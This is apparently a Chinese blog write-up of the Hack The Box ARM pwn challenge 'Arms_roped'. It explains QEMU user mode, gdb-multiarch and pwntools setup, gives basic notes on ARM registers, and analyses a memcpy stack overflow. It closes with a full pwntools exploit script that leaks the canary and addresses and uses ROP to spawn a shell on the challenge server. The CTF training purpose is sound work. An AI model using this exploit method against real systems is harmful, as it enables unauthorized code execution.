从HTB _Arms_roped初识arm架构和qemu

  |  

之前一直很想IoT 但是到多数案例,都是arm 结构下的,需要用到qemu来搭建环境。但是arm指令的学习和qemu 使用的各种毛病让我往而却步。不过,幸运的是,我在htb发现这个Arms_roped 这个有利于新手的docker环境(虽然还是有点过时),终于arm学习里踏入的第一步。

arm环境配置

​ 这个题目很好,给了一个Dockerfile 直接docker build . 就可以搭建一个环境。不过这个环境是一个简单的arm pwn环境。我们只能简单的远程,并不随意打gdb 内存和寄存器的情况,这样对于我们是很不方便。同时,尝试在docker安装gdb插件无果,于是我们便考虑在本地搭一个类似环境用来gdb,再用pwntools来结合。

qemu安装与使用

qemu安装

安装qemu:

1
2
3
sudo apt-get install qemu

sudo apt-get install qemu-user qemu-system qemu-user-static binfmt-support

依赖库安装:

1
2
3
sudo apt-get install -y gcc-arm-linux-gnueabi

sudo apt-get install qemu libncurses5-dev gcc-arm-linux-gnueabi build-essential gdb-arm-none-eabi synaptic gcc-aarch64-linux-gnu eclipse-cdt git

这样我们就安装好,qemu环境了。

我们用qemu-arm -L /usr/arm-linux-gnueabihf/ ./arms_roped 就可以在本地运行了。

这个步骤也是Dockerfile 记载的方法,不过docker安装是通过在https://github.com/qemu/qemu下载源码来编译的。

1
2
3
4
5
6
7
RUN git clone https://github.com/qemu/qemu /qemu
WORKDIR /qemu
COPY patch.diff .
RUN git checkout e86e00a2493254d072581960b48461eb96481e45
RUN git apply < patch.diff
RUN ./configure --disable-system --enable-linux-user --disable-bpf --static
RUN make -j$((`nproc`-1)) qemu-arm

qemu的区别与注意

在刚才的安装中我们其实是安装 三个qemu 启动命令工具: qemu-userqemu-user-staticqemu-system

qemu-system 是用于模拟完整计算机系统的命令,qemu 在system mode 上模拟的命令。在system mode 可以模拟多种不同的处理器架构(如x86、ARM、PowerPC等)以及与之相关的外围设备。因此通过 qemu-system,你可以创建一个完整的虚拟机环境,包括模拟的处理器、内存、硬盘、网络接口,这样下整个文件系统一起模拟的,我们会得到一个相对真实的环境。

qemu-user/qemu-user-static 是用于用户空间应用程序的模拟执行的命令,即以QEMU user mode 允许在一个不同的体系结构上运行二进制可执行文件,而无需模拟整个计算机系统。QEMU user mode是system mode的精简版,只提供TCG层面的支持,他能运行guest Linux上的用户态程序,因此在某些细节还原度上是远远不如system mode ,比如:libc 段可能无法被正确vmmap 。qemu-user/qemu-user-static 两者的区别是qemu-user-static 是用于静态地模拟执行用户空间应用程序的命令,而``qemu-user`是动态模拟的,在程序开了‘PIE’和‘NX’保护下地址段地址会随机变化。。

而在本题环境中,dockerfile 给出的是 user mode 的qemu-user来执行命令。

即:qemu-arm -L /usr/arm-linux-gnueabi ./arms_roped

若我们想gdb 调试 则 用 -g 来开放我们链接的端口。例如:

qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./arms_roped

如何gdb qemu程序

若我们想gdb 我们用qemu 启用的程序,我们还需要通过如下命令安装gdb-multiarch。

1
sudo apt-get install gdb-multiarch

gdb-multiarch 是 GNU 调试器(GDB)的一个变体,它允许在多种体系结构(如x86、ARM、PowerPC等)上进行调试。通常情况下,gdb 只能调试与宿主系统相同体系结构的程序,但是 gdb-multiarch 可以通过“set architecture xxx”修改以支持跨体系结构的调试。比如 “set architecture arm” 修改为arm体系调试。

关于gdb-multiarch 我们使用如下:

1
2
3
gdb-multiarch  ./arms_roped  
set solib-search-path /home/lexs/Desktop/misc/lib
target remote 127.0.0.1:1234

gdb-multiarch ./arms_roped 打开gdb-multiarch并加载读取arms_roped文件的symbols标识符同时讲调试模式设置为arm。(相当于执行file ./arm_roped 与set architecture arm” )

set solib-search-path将要读取要用到libc文件夹路径设置为我们所设置的文件夹路径。这样gdb中遇到与环境相应的通过链接库,gdb会自动读取相应的symbols标识

target remote。远程gdb 所暴露的IP和端口。

如何用pwntools交互

pwntools模块的process读取所一个命令所产生的进程。我们可以通过下面方式启动,进而发送命令。

1
2
3
4
5
from pwn import *
elf=“./arms_roped”
p = process(["qemu-arm-static", "-L", "/usr/arm-linux-gnueabihf/", elf])
p = process(["qemu-arm-static","-g","1434" ,"-L", "/usr/arm-linux-gnueabihf/", elf])
p.interactive()

遗憾的是对于gdb模块展示不能接受到qemu 暴露的调试端口,只能另起窗口调试。

arm 汇编入门知识点小提

x64汇编与arm汇编在一些地方还是神似的地方。比如在寄存器上:

img

eax 在 arm中变成r0,r1-r5对应 edx、ecx,edx,esi,edi。r11(FP)对应edp,edp 对应arm中 r13(SP),而EIP对应R15(PC)。在arm中gadget 以pc来跳转,x64 以ret来跳转。同时,x64中常用的万能gadget也继续存在。

image-20240214235449603

但arm汇编的具体细节又不一样,这里找到一个不错的入门教程说明:

https://chan-shaw.github.io/2020/03/20/arm%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

解题思路

当我们arm环境和知识储备完后,回到这个题。

1
2
3
4
5
Arch:     arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目开了 PIE 、NX 和canary 。

但题目问题点在string_storer函数,我们在用 memcpy 复制时,没有对dest里的值进行清空,也没有对复制的进行长度限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int string_storer()
{
int result; // r0
int dest[8]; // [sp+4h] [bp-30h] BYREF

memset(dest, 0, sizeof(dest));
while ( 1 )
{
_isoc99_scanf("%m[^\n]%n", &tmp, &n);
getchar();
memcpy(dest, (const void *)tmp, n);
free((void *)tmp);
result = memcmp(dest, "quit", 4u);
if ( !result )
break;
puts((const char *)dest);
}
return result;
}

如下下图所示,红色部分就是我们输入,黄色就是canary值,蓝色就是返回地址(elf上一直值)。这导致我们可以泄漏出之前,就留存道dest里elf地址及canary值。

WX20240215-171819@2x

这时,与x86情况类似,我们得到canary 就可以随意利用elf里的gadgets栈溢出了。于此同时,我发现两有意思的gadgets:

WX20240215-173946@2x

这俩gadgets结合起来就可以泄露出libc地址,来执行execve(“/bin/sh”,0,0)了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env pythonq
# -*- encoding: utf-8 -*-

'''
@File : exp.py
@Time : 2024/02/06 23:43:20
@Author : lexsd6
'''

from pwn import *
from libcfind import *

local_mote=0
elf='./arms_roped'
e=ELF(elf)
context.arch=e.arch
libc=ELF('./libc.so.6')
#libc=ELF('/home/lexs/Desktop/misc/lib/libc.so.6')
print(e.arch)
context.log_level = 'debug'
ip_port=['94.237.62.195',57984]
#ip_port=['127.0.0.1',1338]
debug=lambda gdb_cmd='': gdb.attach(p,gdb_cmd) if local_mote==1 else None

print(pwnlib.qemu.user_path(arch='thumb'))
p=remote(ip_port[0],ip_port[1])
#p = process(["qemu-arm-static", "-L", "/usr/arm-linux-gnueabihf/", elf])
#p = process(["qemu-arm-static","-g","1434" ,"-L", "/usr/arm-linux-gnueabihf/", elf])
p.sendline('x'*0x21)
p.recvuntil('x'*0x21)
addr12=p.recv()
canary=u32(addr12[0:3].ljust(4,'\x00'))*0x100

log.info('canary:'+hex(canary))

p.sendline('x'*(0x30))
p.recvuntil('x'*(0x30))
addr12=p.recvline()
print(addr12)
elf_addr=u32(addr12[1:4].ljust(4,'\x00'))*0x100-0x900

addr3=u32(addr12[4:8].ljust(4,'\x00'))
log.info('elf_addr=:'+hex(elf_addr))
log.info('addr4:'+hex(addr3))

#0x0000056c : pop {r3, pc}

pop_r3_pc=elf_addr+0x0000056c
put_addr_s=elf_addr+0x000087C
free_got_addr=elf_addr+e.sym['free']
xxx_addr=elf_addr+0x11000
xxx3=elf_addr+0x11400
#print(hex(len('quit'+'x'*(0x20-4)+p32(canary)+'xxxx'+'yyyy'+'zzzz'+'qqqq'*2)))
p.sendline('quit'+'\x00'*(0x20-4)+p32(canary)+'\x00\x00\x00\x00'+p32(free_got_addr-0x10)+p32(xxx3)+p32(pop_r3_pc)+p32(free_got_addr)+p32(put_addr_s)+p32(0x4001056c)+'qqqq')

addrx=p.recvline()
x_addr=u32(addrx[0:4].ljust(4,'\x00'))
free_addr=u32(addrx[4:8].ljust(4,'\x00'))
log,info(hex(x_addr))
log.info(hex(free_addr))
libc_base=x_addr-libc.sym['free']
#system_addr=libc_base+0x000781E7
#00078286
system_addr=libc_base+0x0078287#+0x0078161

#bin_sh=libc_base+904760
bin_sh=libc_base+0x000dce0c
log.info('libc_base:'+hex(libc_base))
log.info('system:'+hex(system_addr))
log.info('bin_sh:'+hex(bin_sh))
#0x0005be74 : pop {r0, r4, pc}
#pop {r0, r1, ip, lr, pc}
#0x00091204 : pop {r0, r1, ip, lr, pc} 31
#

pop_r0_r4_pc=libc_base+0x0000091274
#00077E56
p.sendline('quit'+'\x00'*(0x20-4)+p32(canary)+'\x00\x00\x00\x00'+p32(xxx3)+p32(xxx3)+p32(pop_r0_r4_pc)+p32(bin_sh)+p32(0)*3+p32(system_addr)+'yyyy')#+p32(pop_r0_r4_pc)+p32(bin_sh)+p32(0)+p32(system_addr)+'qqqq')

p.interactive()

参考文献

https://www.jianshu.com/p/a7e2da50263e

https://x1ng.top/2020/11/16/arm-pwn%E5%85%A5%E9%97%A8%E4%B9%8B%E8%B7%AF/

https://chan-shaw.github.io/2020/03/20/arm%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

文章目录
  1. arm环境配置
    1. qemu安装与使用
      1. qemu安装
      2. qemu的区别与注意
    2. 如何gdb qemu程序
    3. 如何用pwntools交互
  2. arm 汇编入门知识点小提
  3. 解题思路
    1. 参考文献
|